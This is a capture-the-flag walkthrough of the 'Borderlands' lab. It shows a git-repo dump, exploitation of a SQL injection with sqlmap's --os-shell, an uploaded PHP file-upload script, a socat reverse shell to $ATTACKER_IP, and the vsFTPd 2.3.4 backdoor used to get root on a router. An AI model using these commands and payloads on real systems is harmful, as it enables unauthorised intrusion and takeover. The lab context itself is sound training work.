Borderlands
For borderlands we are given the IP of a web application running inside a
network named network 1
.
Exposed GIT repo
Upon running an application scan with nmap -A
we observe that there is an
exposed git repository:
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| $VICTIM_IP:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: added mobile apk for beta testing.
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Context Information Security - HackBack 2
We can use git-dumper to dump this repo:
root@kali:/mnt/hgfs/stuff# python3 ./git-dumper/git-dumper.py http://$VICTIM_IP/ dump_borderlands
[-] Testing http://$VICTIM_IP/.git/HEAD [200]
[-] Testing http://$VICTIM_IP/.git/ [403]
[-] Fetching common files
...
[-] Fetching http://$VICTIM_IP/.git/objects/e0/03b9156c54897414bc5958372b10d76fed64bb [200]
[-] Running git checkout .
Now we can see the source of the website:
root@kali# tree
.
├── api.php
├── Context_Red_Teaming_Guide.pdf
├── Context_White_Paper_Pen_Test_101.pdf
├── CTX_WSUSpect_White_Paper.pdf
├── Demystifying_the_Exploit_Kit_-_Context_White_Paper.pdf
├── functions.php
├── Glibc_Adventures-The_Forgotten_Chunks.pdf
├── home.php
├── index.php
└── info.php
0 directories, 10 files
Inside home.php
we find the first flag:
echo ("<ul>");
while ($stmt -> fetch()) {
echo ('<li><a href="api.php?documentid='.$documentid.'&apikey=WEBLhvOJAH8d50Z4y5G5g4McG1GMGD">'.$document_name.'</a></li>');
$resultsArray[] = array("documentid" => $documentid, "documentname" => $document_name, "location" => $location);
}
Inside the git log there is a commit with the message:
commit b2f776a52fe81a731c6c0fa896e7f9548aafceab
Author: Context Information Security <recruitment@contextis.com>
Date: Tue Sep 10 14:41:00 2019 +0100
removed sensitive data
We can use git diff
to show us the changes in that commit:
root@kali# git diff b2f776^!
diff --git a/api.php b/api.php
index 2229eb4..ebd0822 100644
--- a/api.php
+++ b/api.php
@@ -2,7 +2,7 @@
require_once("functions.php");
-if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "WEBLhvOJAH8d50Z4y5G5") && substr($_GET['apikey'], 0, 20) !== "ANDVOWLDLAS5Q8OQZ2tu" && substr($_GET['apikey'], 0, 20) !== "GITtFi80llzs4TxqMWtCotiTZpf0HC"))
+if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "WEBLhvOJAH8d50Z4y5G5") && substr($_GET['apikey'], 0, 20) !== "ANDVOWLDLAS5Q8OQZ2tu" && substr($_GET['apikey'], 0, 20) !== "GITtFi80llzs4TxqMWtC"))
{
die("Invalid API key");
}
Which gives us another flag.
SQLi vuln
Now we want to try and get access to the server, the file functions.php
contains a nice SQLi vulnerability:
function GetDocumentDetails($conn, $documentid)
{
$sql = "select documentid, documentname, location from documents where documentid=".$documentid;
//echo $sql;
$result = mysqli_query($conn, $sql) or die(mysqli_error($conn));
if (mysqli_num_rows($result) === 1) {
return mysqli_fetch_assoc($result);
} else {
return null;
}
}
This function is called by the file api.php
with the parameters: apikey
and
documentid
, to automate the process we throw SQLMap at it:
root@kali# sqlmap -u \
"http://$VICTIM_IP/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=aa" -p \
"documentid"
sqlmap identified the following injection point(s) with a total of 1602 HTTP(s) requests:
---
Parameter: documentid (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: apikey=WEBLhvOJAH8d50Z4y5G5&documentid=(SELECT 5484 FROM(SELECT COUNT(*),CONCAT(0x716a717671,(SELECT (ELT(5484=5484,1))),0x717a717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: apikey=WEBLhvOJAH8d50Z4y5G5&documentid=(CASE WHEN (7665=7665) THEN SLEEP(5) ELSE 7665 END)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: apikey=WEBLhvOJAH8d50Z4y5G5&documentid=-1061 UNION ALL SELECT 2259,CONCAT(0x716a717671,0x6b4876446e627951464b74686c656c6d6c4e454e7576464d444757636b446457417a776e7a58434b,0x717a717a71),2259#
---
[14:44:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0
SQLmap comes with a handy flag named --os-shell
which we can use to get a
shell on the system:
root@kali# sqlmap -u \
"http://$VICTIM_IP/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=aa" -p \
"documentid" \
--os-shell
os-shell>
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:
---
CTX_WSUSpect_White_Paper.pdf
Context_Red_Teaming_Guide.pdf
Context_White_Paper_Pen_Test_101.pdf
Demystifying_the_Exploit_Kit_-_Context_White_Paper.pdf
Glibc_Adventures-The_Forgotten_Chunks.pdf
api.php
functions.php
home.php
index.php
info.php
mobile-app-prototype.apk
tmpbqnyz.php
tmpuuqad.php
---
os-shell>
We can then get 4th flag from /var/www
with:
os-shell> ls /var/www
command standard output:
---
flag.txt
html
---
os-shell> cat /var/www/flag.txt
command standard output: '{FLAG:Webapp:48a5f4bfef44c8e9b34b926051ad35a6}'
Pivoting
Now we have a shell, but it's not very useful as it's not a complete TTY, so
we're going to use socat
to tunnel back to our system.
The device the webapp is running on doesn't have socat
so I'm choosing to
upload a statically linked binary.
I tried using the sqlmap flags --file-write
and --file-dest
to send the
file, but it was too large, so instead I ~~wrote~~stole a PHP script to write an
uploaded file:
<?PHP
if(!empty($_FILES['uploaded_file']))
{
$path = "/var/www/html/";
$path = $path . basename( $_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>
This was then uploaded with:
root@kali# sqlmap -u \
"http://$VICTIM_IP/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=aa" \
--file-write=upload.php \
--file-dest=/var/www/html/upload.php
Once done, we can upload our socat binary with:
root@kali# curl -X POST -F "uploaded_file=@socat" http://$VICTIM_IP/upload.php
Once we have this, start a msfconsole on the attacking machine:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost $ATTACKER_IP
lhost => $ATTACKER_IP
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on $ATTACKER_IP:4444
And on the victim, through the shell we got through SQLMap:
os-shell> ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ATTACKER_IP:4444
On the attacker we should then see:
[*] Sending stage (36 bytes) to $VICTIM_IP
[*] Command shell session 2 opened ($ATTACKER_IP:4444 -> $VICTIM_IP:34694) at 2019-10-29 14:58:55 +0000
www-data@app:~/html$
Then we background the session with Ctrl + s
and run sessions -u <session number>
,
This will give us a meterpreter shell.
If you're not already in the meterpreter shell, enter it with sessions -i <meterpreter shell number>
The shell number is probably one more than the initial session number.
Once in the meterpreter shell, I upload static binaries of nmap
and ncat
from here
using the upload
command.
meterpreter > upload ncat
[*] uploading : ncat -> ncat
[*] Uploaded -1.00 B of 2.78 MiB (0.0%): ncat -> ncat
[*] uploaded : ncat -> ncat
Using the shell
meterpreter command we get a command shell.
The first thing is to nmap the router, after some playing around I figured out that we are able to refer to the devices on the network by their hostname, and so:
www-data@app:~/html$ ./nmap router1
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-10-29 18:17 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for router1 (172.16.1.128)
Host is up (0.00014s latency).
rDNS record for 172.16.1.128: hackback_router1_1.hackback_r_1_ext
Not shown: 1203 closed ports
PORT STATE SERVICE
21/tcp open ftp
179/tcp open bgp
2601/tcp open zebra
2605/tcp open bgpd
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
Unfortunately because nmap is a static binary we can't run version detection
scans, but luckily when we try to connect to the ftp server via ./ncat router1 21
we see:
www-data@app:~/html$ ./ncat router1 21
220 (vsFTPd 2.3.4)
Which just so happens to be a vulnerable version of vsFTPd.
so we execute the exploit:
www-data@app:~/html$ ./ncat router1 21
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass
^C
www-data@app:~/html$ ./ncat router1 6200
ls
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var
whoami
root
ls /root/
flag.txt
vsftpd
cat /root/flag.txt
{FLAG:Router1:c877f00ce2b886446395150589166dcd}
ip route
default via 172.16.12.1 dev eth0
172.16.1.0/24 dev eth1 proto kernel scope link src 172.16.1.128
172.16.2.0/24 via 172.16.12.102 dev eth0 proto zebra metric 20
172.16.3.0/24 via 172.16.31.103 dev eth2 proto zebra metric 20
172.16.12.0/24 dev eth0 proto kernel scope link src 172.16.12.101
172.16.31.0/24 dev eth2 proto kernel scope link src 172.16.31.101
(That's all for today because I managed to lock up router1 and I'm tired)